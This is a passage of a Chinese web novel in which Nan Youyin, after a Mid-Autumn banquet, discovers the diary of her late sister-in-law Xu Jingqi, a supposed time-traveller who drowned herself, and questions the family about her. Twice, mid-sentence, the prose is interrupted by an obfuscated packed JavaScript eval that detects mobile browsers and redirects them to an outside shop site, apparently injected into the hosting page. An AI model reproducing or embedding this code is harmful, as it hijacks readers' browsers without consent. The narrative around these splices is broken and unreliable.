走出薛府的开满菊花的花园,徐寂宁解释道:“太太要回家去了,结果找不到你了,便派人到前面去,叫我四处找找。” “不过,”他皱着眉,“你怎么跑到薛府的花园里了?” 南有音理直气壮道:“那还用说呀,当然是因为迷路了。” 徐寂宁担忧道:“还好你没有继续往前走,过了花园就是男眷们呆的前厅。” “呵,”南有音冷哼一声,想起刚刚两个小戏子的遭遇,讥讽道,“正好你们在前面吃酒吃得无聊,我闯过去,添点笑料助兴。” 徐寂宁一愣,当即说道:“我不会让他们笑你的!” “我才用不着你管呢,”南有音吃吃笑道,“他们要敢笑我,那就看我舌战群儒!” 走到灯光下,南有音两腮带着淡淡酡红,一双大眼睛好像含着水一样清亮,徐寂宁嗅到了她身上轻微的酒味,皱眉道:“你喝酒了?” “怎么啦?”南有音反问,“薛府的酒怪好喝,我就多喝了几杯。” “薛府这次的酒是御赐的玉兰春,入口香甜绵软,实则后劲极大,你喝了多少?” 南有音伸出三根手指,想了想又伸出一根,又觉得不对,最后摊开手掌,五根手指在徐寂宁眼前晃了晃。 “五杯?也难怪,”徐寂宁无奈摇头道,“你本来就总是迷路,喝醉了,更是不行。” “也是,”酒劲愈发的上来,南有音脚步轻飘飘的,像是走在云端,人也迷迷糊糊,傻傻笑道,“不过喝醉了也不错,不喝醉了就不会乱走,怎么会见到薛二公子呢?” 徐寂宁拉着又要在岔路口走错了南有音,奇怪道:“你见他做什么?” “他长得好看呀,”南有音有点落寞道,“你来的太快了,我还没看够呢,薛二公子,唉——” 南有音情不自禁地发出喟叹:“果真是‘不见薛氏颜,不知美人面’……” 徐寂宁忍不住道:“长得好看有什么用!” “怎么没用的,我一见了他就身心舒畅了,”南有音咋舌称叹,“真是妙不可言!” “□□栩有什么好的?”徐寂宁忿忿道,“他也只是依仗那张脸罢了,你知道吗,二哥说他的文章绮丽过头,还不如我写的呢。” “那又怎么样呀?我又不看你们的文章。” “二哥说他的书法也只是中品,字如其人,人如其字,他也不过如此。” “可他长得确实好看呀,比薛大人还有薛家大哥都好看呀!” “好看是好看,可是……” 徐寂宁与南有音你来我往的辩论起来,最后徐寂宁没辙了,气急败坏道:“□□栩有什么好的!” 南有音忽然安静了,她跳到他跟前,歪着脑袋,似睁非睁的眼睛注视着他,眼神热烈明亮,看得他浑身不自在。 “有音?” 南有音则大声笑了起来:“徐寂宁,你该不会在吃醋吧?” 徐寂宁的脸蹭的红了:“什,什么啊!” 他也不晓得自己的脸怎么就跟烧起来一样。 “嘻嘻,”南有音很是豪气的重重拍了下徐寂宁的肩膀,说道,“放心好啦,他是个疯子,我不会喜欢疯子的,哪怕他长得再漂亮。” 得了这句半醉中的承诺,徐寂宁火烧般的心忽然宁静下来,而后才后知后觉地意识南有音说□□栩是疯子。 “他是疯子?”徐寂宁诧异,“他虽然不怎么样,但至少是个正常人。” “怎么可能,”南有音笑道,“他说三姐是未来的人,说她是……那个词叫什么来着——” 她拍了拍自己的脑袋,叫道:“对了,说她是‘穿越’来的,来自几百年后的世界。” 南有音没忍住发出一串清脆笑声:“这也太离谱了。” 很快她发现徐寂宁没有笑,而是垂下了眼帘,细密的睫毛倒映在下眼睑上,投下小小一片阴影。 “你这是什么反应,”南有音一脸的惊恐,“难不成……难不成你也同意他说的?” 徐寂宁轻轻点了点头。 南有音脸上惊惧的神情更甚,往后撤了一步,甚至开始狐疑地打量起徐寂宁,似乎下一秒就要逃走。 徐寂宁怕她酒劲上头真又跑丢了,忙拉住她:“有音,你清楚的,我不是疯子。” 南有音飞快地眨巴着眼,凉飕飕的夜风吹在她的额头上,醉意渐渐褪去了几分。 “你放开我。”她沉静地说道。 但徐寂宁死死拽住她的手腕,焦急道:“有音,我不是疯子。” 南有音从唇缝里挤出几缕声音,“太太和老爷就在你身后看着呢……” 徐寂宁像是被烫到一样,一松手,转身就看到母亲一脸笑意很是欣慰地望着他们两个,父亲则若有所思。 离开薛府时不同于来时,变成了徐夫人徐老爷一辆车,南有音与徐寂宁一辆,两人坐在车上,目光偶尔相碰,都略觉讪讪的。 这份难以言说的尴尬来自于徐太太,她大概误会了徐寂宁与南有音之间地拉拉扯扯,故意用一种好像若不经心地语气,对徐老爷说道:“薛家二小子都有两个孩子了。” 然后将她威仪的目光往南有音与徐寂宁身上一扫,不用她说,所有人都知道剩下半句没说出口的话就是“你们两个什么时候生一个”。 徐太太向来如此,南有音与徐寂宁几乎麻木了,但偏偏这时,徐老爷捋着胡子,点头道:“是啊,薛二不过比寂宁大了两岁。” 徐老爷也是言有尽而意无穷,徐太太得了撑腰的,望向南有音与徐寂宁的目光更为直白,在鲜少过问二人私事的徐老爷面前,南有音与徐寂宁终究是感到了难以言说的窘迫。 马车上两人一看彼此就想起被催促造小孩,徐寂宁越看南有音越尴尬,南有音也越看徐寂宁越郁闷,最终两人不看彼此,徐寂宁眼观鼻鼻观心,南有音则扭头望向车窗外。 行过一条两边都是牌坊的宽敞街道,今日中秋,不少人游街赏月,人群中两个熟悉的身影骤然出现在了南有音眼前——南玉振站在一家簪子铺店面的大红灯笼底下,取下一只簪子往松梯的发髻上插,松梯一矮身躲过了,红着脸迅速摆手,好似在说不可。 南有音戳了戳一直在马车上当木头人的徐寂宁,扯着衣服拽他,徐寂宁徒劳无功地挣扎几番,脑袋被摁到窗边。南有音指着窗外轻声道:“你看,玉振和松梯……” 南玉振举着簪子,他一笑起来眼睛就会变成一条弯缝,看上去调皮又稚嫩,少了几分锐利,多了些许柔和。他伸手拦住想要逃走的松梯,硬是把簪子别上了,松梯的脸则比灯笼还红,她摸了摸簪子,眼神像丛林的小鹿,躲躲闪闪的,南玉振又笑着说了些什么,松梯抿了下嘴唇,站直了腰板,抬起头冲着南玉振不好意思地笑了。 马车不紧不慢的走过,松梯与南玉振的身影消失在方框小窗格之外。 徐寂宁扭头,与南有音面面相觑,片刻后,他的脸也红了。 他与南有音挤在马车狭小的窗户附近,南有音摁着他的脑袋往窗外看,不自觉地变成了揽住他的脖子和肩膀,他则无意中依靠在了南有音的前襟。 他当即挣扎着逃到了马车的另一侧,空间骤然宽松,两人也不再肢体交叠,只是心还砰砰跳个不停。 这次南有音没有笑他狼狈,而是拧着眉毛,像是在思索,说道:“今晚有中秋灯会,我想着我跟你都不在,就叫院子的丫鬟想出来上街玩的就自己出去玩了,松梯她和玉振……” 徐寂宁忍不住道:“玉振原来还能那样和善。” “这不是重点吧,”南有音揉着眉心,“你说,他们两个……不至于吧……” “兴许只是偶然撞见了。” 两人相视一眼,无声中同时否定了这一想法。南有音知道她这个弟弟的,徐寂宁也熟悉松梯这个同他一同长大的丫鬟。眼见到了徐府门口,两人没再说什么,南有音傻傻地笑了,想着弟弟难道喜欢松梯,徐寂宁则叹了口气,有些替松梯忧心。 回到徐府,外出逛灯会的徐缄平和宋知落都还没有回来,南有音与徐寂宁院子里的丫鬟也都逛街去了,空空荡荡的,南有音歪在床上,胡乱捡了本话本子翻,翻着翻着,心事不由自主地转到了三姐徐静祺。 □□栩与徐寂宁都说徐静祺是穿越来的,南有音只觉得离谱,□□栩可能是疯子,但徐寂宁与她同床共枕(自他们从岭南回来,徐夫人便撤走了徐寂宁书房的床),她当然确信“枕边人”脑袋没问题,只是…… 南有音越想越迷糊,徐静祺的事占据她的脑海,玉兰春酒后劲实在猛烈,她禁不住一阵头晕,闭上眼,带着万千思绪,浑浑噩噩地睡了过去。 徐寂宁回府后倒也没闲着,先与父亲以及二哥讨论起朝中最新的局势,大致便是岭南的事告一段落,但度田与清查户口还未结束,皇帝仍是不断外派心腹官员到各地,恐怕是要接着这两个由头大肆整顿地方财政兵权。 徐朗又提起在薛府宴会上听到的风声,皇帝这次大概是打算 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徐寂宁气道:“二哥,我为此头疼得很,你还打趣我!” 夜空云遮雾绕,藏着一轮圆月,徐默安仰头看着那轮模糊、散发着柔和光泽的月亮,微微有点怅然:“中秋,团圆,唉,过去静祺跟你还一同打趣我呢。” 若干年前,徐寂宁与三姐徐静祺见二哥日日捧书,玩笑说他是个彻头彻尾的书呆子,要娶一本书过一辈子。 “三姐过去曾说过,告诉我尽量娶一个心爱的姑娘,敬重她,爱护她,”徐寂宁戚戚垂眸,眉尖微蹙,仿佛于心不忍一般说道,“可我又不喜欢有音,有音也……” 他深吸一口气,悒怏叹道:“也不喜欢我了……” “父亲与母亲何必这样催促我们,”说道最后他的声音越来越小,“我和有音啊,只是被父亲母亲连在一起罢了,哪里有什么感情可言……” “寂宁,为什么你会这样认为呢?”徐默安摇头,“过去静祺也说过,听从心声,寂宁,你明白她说的话吗?上次我告诉你要用‘心’去感受,你呀……” 徐默安敲了敲四弟的左胸,似乎在琢磨里面是不是一块石头:“你想一想,上一次心如擂鼓是什么时候?上一次与有音在一起时激动恼怒或者欢欣喜悦又是什么原因?” 徐寂宁上一次激动恼怒就在刚刚不久前,起因则是南有音一个劲儿地夸赞□□栩帅气。 薛家人皮相艳丽是京城的共识,冷静下来后徐寂宁也不清楚自己当时究竟跟醉醺醺的南有音争执些什么。 莫非是真的在吃醋? 可是又为什么吃醋呢? 这个念头产生的刹那,徐寂宁头脑一片空茫,唯余心跳,在寂寂夜色中,仿若擂鼓。 他与二哥在岔路口分别,抚着左胸,浑浑噩噩地往自己的院落去。 借着朦胧的月光,他看到南有音捧书卧床,月光溶溶,她也好像浸在银色流水之中。 他伸出手,跟月光一起轻柔的摸了摸她光洁的额头,他也不晓得自己为何这样,好像是依心而为。 榻上姑娘长长的眼睫毛轻轻颤了几下,缓缓睁开了眼,她反应了片刻,嗓音沙哑地笑了,虚弱中仿佛掺杂着一点娇嗔道:“徐寂宁,你可算回来了。” “有音。”徐寂宁在黑暗中注视着她的眼睛,这双眼睛总让他的心跳失了节奏。 但南有音脑海中还一直装着之前的问题,她说道:“我问你,你说三姐是另一个时空的人,到底怎么回事?” “她……”千头万绪骤然涌入徐寂宁空白的大脑,叫他不知从何说起。 “你总是不跟我提起她,跟我说一点嘛。” “她……”沉甸甸的酸楚感压了上来,徐寂宁只觉得自己在一寸一寸地坠落,“我总是不懂她在说些什么……” “她……”徐寂宁喉咙发紧,声音崎岖。 南有音静静注视着他,月光下包容平和的眼神像是温暖的泉水,包裹托举着他。 徐寂宁撕开皮肉,露出溃烂的骨头,他颤抖着,好像在害怕,也很像在哭:“我不知道她是什么样的……是我害了她,我总是不明白她的意思,所以她才会……死了……” 南有音见他仓惶,有些怜惜,握住了他的手,月光流动在两人之间,平静的呼吸声与窗外的风声交织,柔和又宁静。 两只手交叠,掌心不留缝隙,紧紧相对,恍惚间徐寂宁似乎透过手掌摸到了南有音的心跳,一下,两下,三下。 平稳而有力,连带着他也安宁了,于寂静中听着两个人的心跳交织,同步,仿佛共用一颗心。 这是一种与心如擂鼓全然不同的心跳,但却有着同样的感觉,叫人不想松手,不想分开。 65. 昨日 南有音迷迷糊糊醒过来,头痛不已,宿醉带来的影响不容小觑,一整个上午,她都躺在床上,捂着脑袋无暇他顾。 午后吃过饭,南有音的头终于没那么痛了,头不疼了,无聊却接踵而至。 徐府的日子大多是平淡且乏味的,南有音不用到徐夫人面前晨昏醒定,也不必处理徐府若干事务,徐寂宁一早上朝,整个白天都不见人影,两个侄儿开蒙读书,南有音少了玩伴,时常自己呆在院子里,无所事事。 她提笔打算写点话本子,但灵感并非时常光顾,写了无数个开头,始终卡顿,索性撂下笔,歪在床上翻话本子了。 还得是三姐徐静祺留下的一箱话本子,南有音看得昏天黑地,从岭南回来不过几天,竹箱子里没看过的话本子就下去大半。 看好看的话本子就像吃好吃的点心,看完就像吃完一样就没有了,南有音都有些舍不得继续看下去了。 南有音认真挑选下本话本子,却意外在竹箱深处发现了一本没有标题的蓝皮薄本儿,看起来破破旧旧,纸页都卷了毛边,封面上墨迹斑斑,似乎使用者怎么仔细。 南有音将其从一堆封面香艳的话本子下抽出,好奇地翻了翻,发现这似乎是一本笔记。 纸张上字迹潦草,像是一个刚学会握笔的人写的,水平几乎可以用稀烂来评价。 南有音当即断定这本笔记不是徐家人任何人所写,毕竟徐府,书香门第,徐家儿女的书字都是有意练过,大家虽然不如二哥默安拔尖,但在普通人中也相当出类拔萃。 南有音又疑惑这可是三姐徐静祺的竹箱子,能是谁的笔记混了进去,她先想到了松梯,松梯过去是徐静祺的贴身侍女,但她很快否定了这一点,她见过松梯的字,含蓄柔婉,不是这个张狂样子。 南有音迅速翻页,希望从笔记中找到一些主人的蛛丝马迹,一阵哗啦啦纸页翻动的响声后,她陷入了沉默,笔记的主人将徐寂宁称为四弟,同时也与徐寂宁一样,称呼徐缄平徐默安为大哥二哥。 南有音立刻把一旁绣帕子的松梯叫来了,松梯只打眼一看,就说道:“这是三小姐的字。” 南有音大吃一惊,欲言又止,徐家三小姐的字怎么还能连玉振都比不上。 松梯善解人意,抚着纸页上龙飞凤舞的字迹,似乎很是怀念:“这确实是三小姐的字,这本子也是三小姐的。” “可是……”南有音还是忍不住道,“这怎么可能!徐家好歹也是大户的人家,小孩子从小甲那么大就开始读书写字,字怎么会写成这样……” 松梯温良的脸上浮现出几分犹豫,最终还是说道:“我听闻三小姐过去也是文思敏捷、琴棋书画样样精通的,只是十二岁那年落入水中,命悬一线,被救起后性格情大变,不光总说些别人听不懂的话语词句,过去学的诗书章句,礼仪规矩也都不记得了,甚至连如何握笔也不会了。” “啊?”南有音倍感离奇。 “当然这些我也只是听闻,”松梯垂下眼帘,“我见到三小姐时,已经是她落水后的事了,我也不知道她此前是什么样的人。” 松梯继续说道:“太太说三小姐落水后得了失心疯,疯疯癫癫……但三小姐说她没有疯,她说她说另一个世界来的。” “另一个世界?”南有音有点呆滞了,□□栩与徐寂宁也是这样说的。 “好像是什么未来,叫什么……”松梯皱眉从脑海中抓取记忆,良善的脸上流露深深困惑,“‘县带蛇烩’,对,她说她是‘县带蛇烩’、‘法炙蛇烩’的人,还说我们身处‘风剑蛇烩’。” 南有音问:“那是什么?” 松梯同她一样的茫然:“我也不知道。” 南有音下意识觉得徐静祺恐怕是个疯子,但□□栩和徐寂宁……南有音至少可以肯定徐寂宁不是疯子。 她的目光又投向了那一竹箱的话本子,话本子很合她的胃口,她一度觉得三姐若是活着,光话本子她们就能聊上三天三夜。 同她一个爱好的人会是疯子吗? 她无比困惑地问道:“松梯,三姐她是疯子吗?” 松梯有些冲动似得立刻回道:“当然不是!” 南有音心头又浮现出鲁蝶岛雨夜的谈话,当时徐寂宁说是三姐教他平等,是三姐要他为南有音解围…… 她又想起南玉振口中的徐家姐姐,徐静祺是唯一一个宽慰乡野出身的他不以出身论英雄的,她也是唯一一个会说人生来平等。 说出那样的话的人怎么可能是疯子。 南有音眼睛闪出一道亮的吓人的光泽:“三姐姐她真的是另一个世界的人?” 松梯却缓缓摇头:“我不知道……太太和大少爷是不信她的说辞的,二少爷和小少爷好像相信……” 南有音若有所思,她有点不信来自另一个世界的荒谬之事,但她抚摸着桌上厚厚一沓话本稿子,骤然想起徐寂宁过去那一番女子不必困于宅邸,亦与男子一样有所抱负的话,好像也是三姐徐静祺说的,除了三姐,没人会这么说。 南有音心下动摇,隐隐觉得这缥缈荒谬的故事或许是真的。 她翻开那本笔记,怀揣着浓烈的好奇与些许的敬畏,一页一页的去读那些难以辨识且潦草的文字。 笔记上只记录了一些琐事,似乎是专门用来记录发泄情绪的,南有音在其中发现了一些熟悉的人名。 “太太罚我跪祠堂,原因竟是我笑得太‘猖狂’,露出了一排牙齿,真无语,还好大哥为我求情。” “松梯啊松梯,人人生而平等没那么难懂呀,你为什么非要觉得自己是奴婢呢?” “四弟最爱听我说话,但他好像没明白我讲的,我说‘王侯将相宁有种乎’,他点头称是,转过身去就又是太太那套高低贵贱的做派,唉,也没法怪他,这个时代就是这样……” “又去跪祠堂了,哼,我没有错,不管怎么跪我都没有错!” “天哪,大哥和小崔太史……我竟傻乎乎地去问大嫂怎么不跟大哥分开,我真傻,这不是戳人痛处吗,但没想到大嫂会反问我另一个时代是什么样……我告诉她在我原先的世界,不相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445825|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的人可以分开,她好像很向往……” “太太要我跟薛家二公子结亲,我不愿意,她搬出一堆理由说服我,无非家世门第,可我没见过他,对他何谈喜欢,我同太太说‘爱’,太太却说父母媒妁门当户对……唉,太太也是可怜,她跟老爷不也……” “见到了薛二公子,长得实在好看,我跟他说我是另一个时空的人,他竟不觉得我是疯子,还问我手机电脑什么的……难道他长得太好看了吗,还是他愿意听我讲另一个世界的事呢,我竟然有点想答应这门婚事了……毕竟这个时代的姑娘都这个样子……” “……我真傻,我早该清楚这里不是现代,这里人也不会明白我的想法,薛二公子明明另有爱人,为什么不管是松梯还是太太,甚至大哥和父亲,大家都不觉他有个通房是什么大事!他们凭什么不把通房丫鬟当人?太太为了这事又让我跪祠堂……” “我没有错,我只是不想身不由己,可我在徐家祖宗面前跪了这么多次了,怎么没人来救救我?” “太太说她不懂我在想什么,我也不懂他们在想什么,我说我是女人,是徐府的三小姐,是您的女儿,但我也一个人,一个独立且完整的个体,太太匪夷所思地望着我,说她这些当然知道……既然她知道,为何不愿给我一星半点选择的权利……” “大哥说薛家老太君要归西,守孝三年,我的婚事也可以缓三年,但再怎么缓也逃不掉呀……我没有办法逃走……” “寂宁说叫我跟他走,唉,他是不是老跟我在一块儿变傻了,他说他不娶妻,真是怎么可能……我那些平等自由,哪里能在这个时代生存……我只好告诉他,尽量娶一个喜欢的姑娘,敬重她,甚至爱她,但他好像压根不懂我的意思……也是,历史的洪流还没走到这儿,他怎么可能懂……” “薛二公子说愿意等我,他问我为什么不想嫁给他……这叫我怎么说呢?” “入宫抄书,本以为出了徐府能够散心,却没想到,唉……宫中的刑罚怎么会如此血腥,,我亲眼看到乱棍打死了一个小太监,头骨碎裂的声音现在还能想起来,还有白花花的脑浆……小太监昨日还跟我说话了,哭他宫外的母亲病了,求我借些银子……他们不把人当人呐!凭什么说他偷了东西?就这样不分青红皂白的打死了?为什么就连二哥也无动于衷?” “谁能懂我说的话呀?谁能懂呀!你们,我,唉……” “是了,只有我是这个时代的异物……宫里那团碧绿的湖水,在向我招手呢!” …… 薄薄一本册子,笔迹纵横,南有音很快翻完了,只是其中有许多她看不懂的,她始终不清楚所谓的另一个时代,在徐静祺笔下,那个世界看上去是那样的明亮,轻盈,仿若阳光下触碰不到的美梦。 南有音只依稀读出了徐静祺对现世的彷徨、愤懑,她或许曾满怀期待的挣扎着融入,最终却沉沦,死寂……然后,投湖而亡。 南有音浑浑噩噩走出院子,又一次来到徐静祺的院落,推开房门,头一次走到这个孤寂姑娘的世界。 66. 音容 傍晚时分,徐寂宁踏着夕阳回府,脚步相当的轻盈,他为南有音带来了一个好消息,有书铺愿意收走南有音的话本子啦。 但他一进屋就发现不对劲儿,屋里静悄悄的,南有音呆坐在桌前,托着腮,两眼无神。 徐寂宁伸手在南有音眼前晃了晃,她却仍像木头人一般。 徐寂宁忍俊不禁:“你怎么啦?在想什么呢?” 南有音眨了眨眼睛,半晌才聚焦,回答道:“我在想三姐姐的事。” “三姐……”随着这个熟悉的称呼从唇齿间溢出,一种难以言说的沉重塞满了徐寂宁的心,也让笑容很难重新凝聚起来。 “你想她做什么?”徐寂宁轻声道。 “我在想她是什么样的人,”南有音放下托腮的手,转身将她发现的那本薄册子递给徐寂宁,“你看,我在竹箱子里找到的。” 只一瞬间,徐寂宁就如松梯一样立即辨认出了三姐的字迹。 他手指打颤,不敢翻页,仿佛捧在手上的是几片一碰就碎的枯叶。 他的脑子一阵嗡嗡声,盯着纸张上丑丑的、龙飞凤舞的字迹,一个又一个字迸进他的眼中,张牙舞爪的,他竭力去辨识,却无法思考。 他喘息着将册页还给了南有音,闭着眼睛,小声问道:“三姐在里面都写了些什么?有音,我心里实在太乱,看不进去,你同我讲一讲,好吗?” 南有音将徐寂宁按在桌边,给他倒了杯茶,大致讲了一下本子里的内容,无非是记录一天天的生活,发发牢骚。 徐寂宁颓然,幽幽一叹:“三姐她……” 他有点说不出话,南有音替他把意思说了出来:“三姐很孤独吧……她在册页里说没有人明白她的意思,也确实如此,她提起的那些自由啊平等啊是什么?还有什么叫‘社会’?还有那些名字奇怪的器物,电脑到底是什么,被雷电击中的脑花吗?这些我实在不明白……我想你,松梯,还有大家也都不明白,难怪三姐姐会那样的孤独……” 南有音抚摸着封皮喃喃道:“我读得出来,她很寂寞,她说她不属于这里,周遭一切都冷冰冰的,她无法融入,所以她……” 南有音没有将“投湖自尽”说出口,因为她看到徐寂宁秀气的眼睛底下,有一道很长的泪痕。 “徐寂宁……”她从来没有见过他哭,一时竟也手足无措。 但徐寂宁只是抬手抹了把脸,笑了一下:“我没事。” 南有音没有相信,只是轻声问道:“徐寂宁,你与我说说三姐姐吧。你知道吗?我找到了一封她留给你的信。” 南有音读完三姐藏在竹箱子里的册页后,讶然于三姐所谓的“穿越”,她木愣愣地望着午后刺眼的阳光,决心去问问徐府上下,企图从众人口中拼凑出一个徐静祺来。 南有音先找到了松梯,每每提到去世的三小姐,松梯总是伤感。 松梯是三小姐是从人贩子手里将她救下来的,她险些就被卖到妓院去了,是三小姐用手上一只玉镯子,赎下了她。 “三小姐带我回徐府,说要我同她一块读书,吃穿用度与她一样,太太很吃惊,一方面责怪她行事鲁莽,一方面安排我做了徐府的下人。三小姐似乎不太乐意,她和太太为着我究竟是不是奴才争执,太太要罚她跪祠堂,我害怕了,就拉住她,说我愿意当徐府发奴才,太太满意了,三小姐却为此气得不轻,”松梯有点愧疚,“但她也没办法,她只好又与太太争要不要让我读书,太太说我一个下人念什么书,三小姐说无论尊卑都要读书,她说我现在是奴才不打紧,多读书,日后就能摆脱奴才身份。她这一番话把太太逗笑了,太太说奴才就是奴才——” 松梯咬了一下嘴唇:“而后就罚她跪祠堂了,她跪完祠堂回来,拉着我的手说教我识字,说什么‘知识改变命运’时眼睛很亮,但我问她我是奴才,还是个女的,读书识字有什么用,她眼里的光一下就黯了。但第二天她眼里又重新冒光,固执地一个劲儿的教我读书写字,我能识字都是三小姐教的,写字则是小少爷教的。” “她总是会这样,”松梯轻轻揩了一下眼角,“忽然眼冒精光,接着嘴里就冒出好多莫名奇妙的话,又一次她忽然对我说‘松梯,你和太太是一样的’,我被她吓了一跳,忙说我只是丫鬟,太太是有诰命的夫人,我怎么能比,三小姐却说‘你是人,太太也是人,凭什么她高贵,你就低贱呢?’,我说我是奴才,太太和小姐都是主子,三小姐有摇头,问我说‘太太和我是人,你也是人,为何我们会不一样?’,我说大概是前世修的福德不一样,三小姐却笑了,说我这是为社会不公找点精神安慰,然后——” 松梯脸上露出了深深地茫然:“她对我说什么阶级流动还是什么人人平等的,我……不明白。” “三小姐总是与我说话,”松梯哀伤地垂着脑袋,“可我总是听不懂,每当我听不懂,就会看到她眼里的光一点一点消散了,到了最后,她再跟小少爷和我说话时,眼里也不会放光了,像一滩死水。” 南有音又找了大嫂宋知落,宋知落在屋檐下煮莲子茶,她说她可以肯定,徐静祺一定是穿越的。 “为什么?”南有音忍不住问。 “只有她,”宋知落想起三妹说在某个时空不相爱的人可是分开时信誓旦旦的神情,“不会指责我和缄平,也不会劝我忍耐,她会想办法让我离开,想办法让相爱的人在一起,她更在乎我开不开心,而不是所谓的徐家大少奶奶的身份……” 宋知落仰头望向可望不可即的天空:“说出这样的话的姑娘,怎么会是这里的困鸟呢?她一定来自很远的地方,一个我们都不知道也无法到达的地方。” 她长叹一声:“她是徐府的三小姐,明明该活得花团锦簇,却总显得孤零零的,她不是我们这个世界的人。有音,你能明白吗?投湖……对静祺而言……” 宋知落扇着茶壶上飘起的蒸汽,垂下眼帘,细长的睫毛微微颤抖:“未必不是一种解脱……” 南有音也问了大哥徐缄平。 听南有音提起三妹,他微微一怔,半晌眼眶红了。 “静祺啊……”提到三妹,徐缄平声音被怜爱与悲痛坠得沉甸甸的。 徐缄平说了三妹静祺的身世,他们三兄弟是徐夫人所生,唯有静祺是父亲的爱妾所生。 “四个儿女里,父亲最喜欢她,可能是因为她是唯一的女孩儿,也可能因为她是父亲与真正的爱人的孩子。” “十三岁前,她完全是另一个样子,跟在太太身边,乖巧懂事,那时寂宁总是惹事被罚,两人的关系也不怎好,十三岁时意外落水,那时她的心都不跳了,老爷和太太不信,一个劲儿的叫人救她,没想到半天后她真醒过来了,只是脾气性格全都变了,过去读得诗书学得女红也都忘光了。”徐缄平沉沉一叹,“宫里的太医说三妹溺水伤了神智,各种方法都用了,始终医不好,只好由着她了……” “从她溺水后性格变了,跟寂宁关系也好了,只是总是说些……很奇怪的话,”徐缄平流露出一丝茫然,“她还总是顶撞太太,过去她分明很乖,事事都听太太的吩咐,我和小崔太史翻遍医术,始终不知道她得了哪一种病……” 南有音忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445826|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住道:“她没病,她只是另一个世界的人!” 徐缄平两眼有些潮湿,微微苦笑了一下:“你也这样认为吗?若真有另一个世界就好了……静祺将她幻想出来的世界描述得让人神往,就算是我,偶尔也疑心她说得是真的,毕竟太真实了,不像是疯了,或者病了。” 南有音说道:“我看了三姐姐写得笔记,每次她跪祠堂,就总是盼着你回家求情。” “是啊,她总不愿服从太太的规矩,太太一向讲究,她总是受罚,”徐缄平回忆起了往事,神情似有动容,“有一次我看到她在祠堂哭,一颗又一颗的泪珠滚到地上,她跪得全身发抖,却就是不愿向太太服软,那时我也忍不住想,我的妹妹何必要被那么多规矩束缚呢,我便去求太太,太太便顺势下个台阶,不再罚她。后来她不愿嫁人,我跟父亲说,即便叫她留在府里一辈子又能怎样,我是长兄,愿养她,让她自由自在的。” “但知落跟我说,静祺自由不了。”徐缄平说道,“她说这儿都是牢笼……我实在不懂,徐府不缺金银,衣食自然无忧,有我与父亲的庇护,她可以当一辈子的千金小姐,理应无忧无虑,我始终不明白,她为何会投湖……” “她不是这里的人。”南有音轻声道,“她没有疯了,只是她不属于这里。” 离开徐缄平的院落,南有音又往二哥徐默安的院子里去,恰好碰上徐夫人,她站在桂花树底下,风一吹,淡金色的桂花悠悠落下。 她叫住了南有音,叫她也来摘些桂花回院煮粥,而后自然而然的,不出南有音意料的提到了孩子。 南有音一心想着徐静祺,恍恍惚惚中下意识道:“太太,女人的价值不止是生小孩,三姐她说过这样的话……她竟会这样说,她果真不是这里的人……” 所有人都在说生儿育女,唯有徐静祺说得不一样。 “你说什么?”徐太太脸上的端庄从容在几个瞬间完全破裂,她在左右侍女的搀扶下勉强稳住身形,重新诧异地注视着南有音。 但南有音此时脑子里全是徐静祺,不假思索地问道:“太太,三姐姐是什么样的人?” 徐夫人眼眸一黯,半晌道:“你问这做什么?” 南有音一愣,她读了徐静祺的笔记,便只管蒙着头到处找人问,反倒没想过这个最基本的问题——她怎么会这样好奇。 是因为徐寂宁对于三姐总是欲言又止吗?是因为她从其余人口中听到过三姐不流于世俗的言语吗?还是因为她初到京城遭人嘲笑时,实际是三姐推了徐寂宁为她解围吗?还是因为她也期盼着好奇着三姐口中的未来,另一个不是牢笼的世界? 亦或是这些因由都有,汇聚一处。 南有音呆滞片刻,选了一个徐夫人最能接受的理由:“寂宁总是提起,我有些好奇,我想知道的多些,跟寂宁说得话也就多些……” “静祺啊……”徐夫人流露出一种很难言说的神情。 恼火中偏偏带着怀念,怨恨里却满是无尽的怜惜。 “她是我唯一的女儿,可我偏偏最不明白她在想什么,”徐夫人侧过脸去,似是不忍再追忆,“她活着的时候总是与我争执,她去世后……” 徐夫人悲哀地笑了一下:“有音,偶尔看着你,倒也会叫我想起静祺来。” 南有音茫然地眨着眼睛,或许她不那么爱守规矩,只此一点与三姐有点相似吧,也或许只是两人年纪相仿,边叫徐夫人想起女儿了。 徐夫人扶着簌簌落下的桂花叹息道:“去问问你二哥吧,寂宁虽与她亲近,但终究是默安聪慧,比我们稍稍更懂她。” 67. 伤逝 二哥徐默安的院子在徐府花园的假山后,南有音常去的是湖畔边大哥徐缄平的院子,很少来二哥这里。 徐默安的院子很幽静,院子里人很少,竹子松树却是一层又一层,南有音穿过竹林小道找到二哥时,他正捧着书,斜倚屋檐下,见她来了,微微讶然,收起书卷,请她屋内品茶。 徐默安的屋子很杂乱,边边角角都是摊开或倒扣的书卷,他收走凳子上的一摞书,请南有音坐下了,往香炉里填了一篆香,冲着她温和的笑,似是在询问她有什么事儿。 南有音开门见山:“我想知道三姐姐的事,她是什么样的人?” “静祺啊……”徐默安有些怀念,微微笑道,“你想知道些什么呢?关于她亦或是她常说的未来?” 南有音说道:“随便什么都好,太太说你比他们更懂三姐姐。” “这倒也不至于,只是我大概包容度更高些吧。”徐默安问道,“你如何忽然想起打听静祺的事了?” 南有音便说了她找到的那本笔记。 